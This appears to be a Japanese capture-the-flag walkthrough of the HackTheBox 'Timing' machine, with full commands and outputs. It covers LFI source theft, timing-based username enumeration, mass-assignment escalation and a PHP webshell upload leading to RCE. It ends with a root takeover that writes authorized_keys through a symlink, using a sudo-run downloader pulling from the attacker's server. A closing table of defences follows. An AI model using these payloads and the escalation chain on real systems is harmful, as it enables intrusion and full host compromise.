HackTheBox: Timing — 全実行コマンド・実行結果レポート
Nmap スキャン
22/tcp, 80/tcp
→
22/tcp, 80/tcp
image.php LFI
php://filter でソース奪取
→
php://filter でソース奪取
login.php タイミング攻撃
sleep(1) side-channel → aaron 特定
→
sleep(1) side-channel → aaron 特定
Mass Assignment
role=1 で管理者昇格
→
role=1 で管理者昇格
ファイル名予測 + LFI
webshell RCE (www-data)
→
webshell RCE (www-data)
user.txt ✓
→
git履歴パスワード使い回し
aaron SSH
→
aaron SSH
netutils(Axel) + $HOME保持
authorized_keys 上書き
→
authorized_keys 上書き
root.txt ✓
PHASE 1
偵察 & image.php の LFI でソースコード奪取
Nmap スキャン & サイト確認
BASH
nmap -sV -sC -p 22,80 10.129.51.99 curl -s http://10.129.51.99/login.php | grep -o "<title>.*</title>"
RESULT
22/tcp open ssh OpenSSH (Ubuntu)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
<title>Simple WebApp</title>
ℹ️
ルートは
/login.php へリダイレクトされる。フォーム送信すると
PHPSESSID Cookie が発行される典型的な PHP セッションログイン画面。
image.php の LFI 発見
BASH
# ログインフォームの <img src="./images/user-icon.png"> をヒントに # image.php?img= パラメータをファジング curl -s "http://10.129.51.99/image.php?img=login.php" | head -c 300
RESULT
<!DOCTYPE html>
<html lang="en">
<head>
<title>Simple WebApp</title>
...
🚨
login.php の中身が「読まれた」のではなく「実行された結果」が返っている
(PHPソースがそのまま出力されていない)ため、include() による
ローカルファイルインクルード(LFI)と確定できる。
../ や先頭 / はフィルタでブロックされるが、
php://filter ラッパーは通る。
php://filter でソースコードをダウンロード
BASH
#!/bin/bash curl -s "http://10.129.51.99/image.php?img=php://filter/convert.base64-encode/resource=$1" | base64 -d # 各ファイルを取得 ./download.sh login.php > src/login.php ./download.sh upload.php > src/upload.php ./download.sh profile_update.php > src/profile_update.php ./download.sh db_conn.php > src/db_conn.php ./download.sh /etc/passwd > src/passwd
RESULT (db_conn.php)
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
RESULT (/etc/passwd 抜粋)
...
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash
ℹ️
通常ユーザーは
aaron のみ。次フェーズでこの名前が有効ログインIDかを
タイミング攻撃で確認する。
login.php の該当ロジック
RESULT (login.php 抜粋)
function createTimeChannel()
{
sleep(1);
}
...
$statement = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$user = $statement->fetch();
if ($user !== false) {
createTimeChannel(); // ← 有効ユーザーの時だけ1秒スリープ
if (password_verify($password, $user['password'])) {
...
}
}
🚨
SQLはプリペアドステートメントでSQLi不可だが、ユーザー名が存在する場合のみ
1秒のスリープが挟まるため、レスポンス時間の差から有効ユーザー名を
パスワード無しで特定できる(タイミングサイドチャネル攻撃)。
PHASE 2
タイミングサイドチャネル攻撃でユーザー名を特定
存在しないユーザー vs aaron の応答時間比較
BASH
for i in 1 2 3 4 5; do
curl -s -o /dev/null -w "%{time_total}\n" \
"http://10.129.51.99/login.php?login=true" \
-d "user=nonexistentuser12345&password=x"
done
for i in 1 2 3 4 5; do
curl -s -o /dev/null -w "%{time_total}\n" \
"http://10.129.51.99/login.php?login=true" \
-d "user=aaron&password=x"
done
RESULT
存在しないユーザー: 0.398s / 0.399s / 0.401s / 0.398s / 0.433s aaron: 1.453s / 1.454s / 1.457s / 1.460s / 1.457s
✅
明確に約1秒の差が確認できた。
aaron は存在する有効ユーザー名と確定。
(/etc/passwd の全ユーザーを同様に総当たりすれば、パスワードなしでもユーザー列挙が可能)
ログイン(パスワード=ユーザー名と同一を試す)
BASH
curl -s -c cookies.txt "http://10.129.51.99/login.php?login=true" \ -d "user=aaron&password=aaron" curl -s -b cookies.txt "http://10.129.51.99/index.php"
RESULT
<h1 class="text-center" style="padding: 200px">You are logged in as user 2!</h1>
✅
aaron:aaron でログイン成功(弱い/使い回しパスワードの典型例。
本番運用ならまず疑うべき組み合わせ)。
PHASE 3
Mass Assignment で管理者昇格 → 予測可能ファイル名 + LFI で RCE
profile_update.php の Mass Assignment
BASH
curl -s -b cookies.txt -c cookies.txt \ "http://10.129.51.99/profile_update.php" \ -d "firstName=x&lastName=x&email=x&company=x&role=1"
RESULT
{
"id": "2",
"username": "aaron",
"password": "$2y$10$kbs9MM.M8G...",
"lastName": "x", "firstName": "x", "email": "x", "company": "x",
"role": "1"
}
🚨
フォームは firstName/lastName/email/company の4項目しか公開していないが、
サーバー側は POST に
role があればそのまま更新してしまう
(Mass Assignment 脆弱性)。
role=0(一般) → role=1(管理者)に昇格成功。/index.php に
「Admin panel」リンクが追加で表示されるようになる。
upload.php のファイル名生成バグ
NOTE
upload.php のソース(LFIで取得済み):
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$file_hash 変数は使われず、シングルクォートで囲われたリテラル文字列 "$file_hash"
がそのまま time() と結合されてハッシュ化される実装ミス。つまりファイル名は
「アップロード処理が完了した瞬間のUNIXタイムスタンプ」だけで決まり、
レスポンスの Date ヘッダーから逆算すれば予測できる。
BASH
echo '<?php system($_REQUEST["cmd"]); ?>' > shell.jpg curl -s -b cookies.txt -D headers.txt \ -F "fileToUpload=@shell.jpg" \ "http://10.129.51.99/upload.php" grep -i ^date: headers.txt
RESULT
The file has been uploaded. Date: Sun, 23 Aug 2026 02:01:17 GMT
ファイル名を逆算して webshell を配置場所を特定
PYTHON
import hashlib, time, calendar
date_str = "Sun, 23 Aug 2026 02:01:17 GMT"
t = calendar.timegm(time.strptime(date_str, "%a, %d %b %Y %H:%M:%S GMT"))
for delta in range(-3, 4):
ts = t + delta
h = hashlib.md5(("$file_hash" + str(ts)).encode()).hexdigest()
print(delta, h + "_shell.jpg")
BASH
# 候補ファイル名を総当たり確認 (delta -3〜+3 で十分)
curl -s -o /dev/null -w "%{http_code}" \
"http://10.129.51.99/images/uploads/8f0aceeb573477cb0703ec2ed040ed28_shell.jpg"
RESULT
200 ← delta=0 (Dateヘッダーそのまま) でヒット
LFI で webshell を include させ RCE
BASH
curl -s "http://10.129.51.99/image.php?img=images/uploads/8f0aceeb573477cb0703ec2ed040ed28_shell.jpg" \ -d "cmd=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功。 直接
images/uploads/...jpg にアクセスしても
画像として扱われるだけで実行されないが、image.php は
include() を使っているため PHP コードとして実行される。
アウトバウンド通信はファイアウォールで塞がれておりリバースシェルは通らないため、
以降は cmd= パラメータ経由のワンショットコマンド実行で進める。
PHASE 4
user.txt 取得 & パスワード使い回しで aaron の SSH 確保
user.txt 直読み
BASH
curl -s "http://10.129.51.99/image.php?img=images/uploads/8f0aceeb573477cb0703ec2ed040ed28_shell.jpg" \ -d "cmd=cat /home/aaron/user.txt"
RESULT
0edeb4a117cbae7b6b74e805362e6543
user.txt — www-data権限で直接読み取り
0edeb4a117cbae7b6b74e805362e6543
/opt のバックアップzipからgit履歴の旧パスワードを発見
BASH
curl -s "http://10.129.51.99/image.php?img=images/uploads/8f0aceeb573477cb0703ec2ed040ed28_shell.jpg" \ -d "cmd=cat /opt/source-files-backup.zip" -o source-files-backup.zip unzip -q source-files-backup.zip && cd backup git log --oneline git diff e4e2146 16de269 -- db_conn.php
RESULT
e4e2146 init
16de269 db_conn updated
diff --git a/db_conn.php b/db_conn.php
-$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd');
+$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
🚨
/opt/source-files-backup.zip(rootが読み取り専用で配置したバックアップ、
www-dataでも読み取り可能)の中にgitリポジトリの履歴が丸ごと残っており、
「削除したはずの旧パスワード」がコミット履歴から復元できる。
古いDBパスワード S3cr3t_unGu3ss4bl3_p422w0Rd は aaron の SSH パスワードとして
使い回されている。
aaron で SSH ログイン
BASH
sshpass -p 'S3cr3t_unGu3ss4bl3_p422w0Rd' ssh aaron@10.129.51.99 aaron@timing:~$ sudo -l
RESULT
uid=1000(aaron) gid=1000(aaron) groups=1000(aaron)
Matching Defaults entries for aaron on timing:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User aaron may run the following commands on timing:
(ALL) NOPASSWD: /usr/bin/netutils
✅
aaron として SSH ログイン成功。
/usr/bin/netutils をパスワード無しで
root として実行できる — これが root への足がかりになる。
PHASE 5
netutils(Axel) + Ubuntu 18.04 の sudo $HOME 保持 → root.txt
netutils の正体を調査
BASH
aaron@timing:~$ cat /usr/bin/netutils aaron@timing:~$ netutils # sudoなしで実行するとエラーで手掛かりが出る
RESULT
#! /bin/bash java -jar /root/netutils.jar Error: Unable to access jarfile /root/netutils.jar
BASH
aaron@timing:~$ sudo netutils
RESULT
netutils v0.1 Select one option: [0] FTP [1] HTTP [2] Quit Input >>
ℹ️
root所有の自作Javaツール。[1] HTTP を選ぶと URL を尋ねられ、内部的には
Axel ダウンロードアクセラレータ(
User-Agent: Axel/2.16.1)
を呼び出していることが挙動から分かる。
シンボリックリンクで /root/.ssh/authorized_keys を狙う
NOTE
Axel はダウンロード先ローカルファイル名が既に存在する場合、上書きを避けて ".0" を付けた別名で保存する安全策を持つ。しかし、ローカルファイル名として まだ存在しない名前のシンボリックリンクを用意しておけば、Axelはリンクを 辿って実体ファイルへ書き込む。/root/.ssh ディレクトリは存在するが authorized_keys がまだ無い状態であれば、このリンク越しの書き込みで root の authorized_keys を新規作成できてしまう。
BASH
# ローカル(Kali)で鍵ペア生成 ssh-keygen -t ed25519 -f ./root_key -N "" # ターゲット(aaronのホームディレクトリ)でシンボリックリンク作成 aaron@timing:~$ ln -s /root/.ssh/authorized_keys k.pub # Kali側で公開鍵を配信するWebサーバを起動 python3 -m http.server 80 # index.html = root_key.pub の内容
netutils 経由でダウンロードさせる
BASH
aaron@timing:~$ sudo netutils Select one option: [0] FTP [1] HTTP [2] Quit Input >> 1 Enter Url: http://10.10.15.201/k.pub
RESULT
Initializing download: http://10.10.15.201/k.pub
File size: 91 bytes
Opening output file k.pub
Server unsupported, starting from scratch with one connection.
Starting download
Downloaded 91 byte in 0 seconds. (0.22 KB/s)
✅
“Opening output file k.pub“(
k.pub.0ではない)と表示され、
シンボリックリンク経由で /root/.ssh/authorized_keys に
新規書き込みできたことを確認。
⚠️
この手法は「対象ファイルがまだ存在しない」場合のみ有効な一発勝負。
既に
authorized_keys に何か内容がある状態で同じ操作をすると、
Axel は “Opening output file k.pub.0” のように別名保存してしまい上書きされない
(シンボリックリンクの実体側の存在チェックが効くため)。この点は 0xdf 氏の
ウォークスルーの「Beyond Root」でも明記されている既知の注意点。
なぜ root権限のnetutilsが aaron のホームディレクトリを見るのか
NOTE
本来 root として実行されるコマンドは $HOME=/root を見るはずである。 しかし Ubuntu 18.04 系まで(19.10より前)の sudo は、-H オプションを 明示しない限り $HOME 環境変数を「実行前のユーザーのまま保持する」 パッチが長年当てられていた(19.10で標準動作に変更・撤廃)。 つまり aaron が `sudo netutils` を実行しても $HOME は /home/aaron の ままであり、Axel が読みに行く `~/.axelrc` や、シンボリックリンクの 相対パス基準ディレクトリも /home/aaron のまま。これが aaron の ホームディレクトリに仕込んだ罠が root プロセスに刺さる理由。 Ubuntu 19.10以降ではこの前提が崩れるため通用しない。
root として SSH ログイン & root.txt 取得
BASH
ssh -i ./root_key root@10.129.51.99 root@timing:~# cat /root/root.txt
RESULT
uid=0(root) gid=0(root) groups=0(root)
7231f5684827083e97454d2c15e121a4
root.txt
7231f5684827083e97454d2c15e121a4
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — aaron
0edeb4a117cbae7b6b74e805362e6543
root.txt
7231f5684827083e97454d2c15e121a4
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| LFI (php://filter) | image.php | ソースコード開示・任意PHP実行の足がかり | High | ?img=php://filter/convert.base64-encode/resource=<file> で任意ファイル読み取り、include()なので配置済みファイルはRCEに直結 |
| タイミングサイドチャネル | login.php (createTimeChannel) | パスワード無しでの有効ユーザー名列挙 | Medium | 有効ユーザー名の時だけ sleep(1) が入る差をレスポンス時間から検出 |
| Mass Assignment | profile_update.php | 権限昇格 (一般ユーザー→管理者) | High | フォーム外の role パラメータを追加送信するだけでDB更新される |
| 予測可能なアップロードファイル名 | upload.php | webshell配置場所の特定 | Medium | md5('$file_hash'.time()) のリテラル文字列バグでDateヘッダから逆算可能 |
| パスワード使い回し / gitシークレット残留 | /opt/source-files-backup.zip 内 .git | SSH認証情報の奪取 | Medium | 削除済みDBパスワードがgit履歴に残存、aaronのSSHパスワードとして再利用されていた |
| sudo $HOME保持 + Axel任意ファイル上書き | /usr/bin/netutils (Ubuntu 18.04) | root権限奪取 | Critical | sudoが$HOMEを保持する18.04特有の挙動を突き、aaronのホームに仕込んだシンボリックリンク経由でroot所有ファイルを上書き |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察/LFI | image.php + php://filter | login.php/upload.php/db_conn.php等のソース一式 |
| 2 | ユーザー列挙 | login.phpのsleep(1)タイミング攻撃 | 有効ユーザー aaron 特定 |
| 3 | 権限昇格(Web) | profile_update.php mass assignment | role=1(管理者)への昇格 |
| 4 | RCE→user.txt | アップロードファイル名予測 + LFI include | user.txt 取得(www-data経由) |
| 5 | 横展開 | /opt バックアップzipのgit履歴からパスワード復元 | aaron SSHログイン、sudo -lでnetutils発見 |
| 6 | 権限昇格(OS) | netutils(Axel) + sudo $HOME保持 + symlink | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| image.php がユーザー指定パスをそのまま include() | 許可リスト方式でファイル名を検証する。include先は固定候補からのマッピングのみ許可し、ラッパー(php://等)を無効化する。 |
| 認証チェックの処理時間がユーザー存在有無で変わる | ユーザーが存在しない場合でもダミーハッシュに対して同じ password_verify() 相当の処理を行い、レスポンス時間を均一化する。 |
| Mass Assignmentでクライアント指定フィールドが無条件にDB更新される | 更新可能なフィールドをホワイトリストで明示指定し、role等の権限系フィールドはユーザー入力から絶対に受け付けない。 |
| アップロードファイル名が推測可能 | 暗号学的に安全な乱数(random_bytes等)でファイル名を生成し、アップロードディレクトリでのPHP実行を無効化する(.htaccessやphp_admin_flag)。 |
| バックアップzipにgitリポジトリごと残置、旧シークレットが残存 | バックアップから.gitやログを除外する。ローテーション済みでも露見したシークレットは全環境で無効化・再発行する。 |
| Ubuntu 18.04のsudoが$HOMEを保持し自作ツールがそれを信頼 | OSをアップグレードするか、sudoersで Defaults always_set_home を明示設定する。特権昇格するツールは$HOMEなど環境変数に依存せず絶対パスで動作するよう実装する。 |

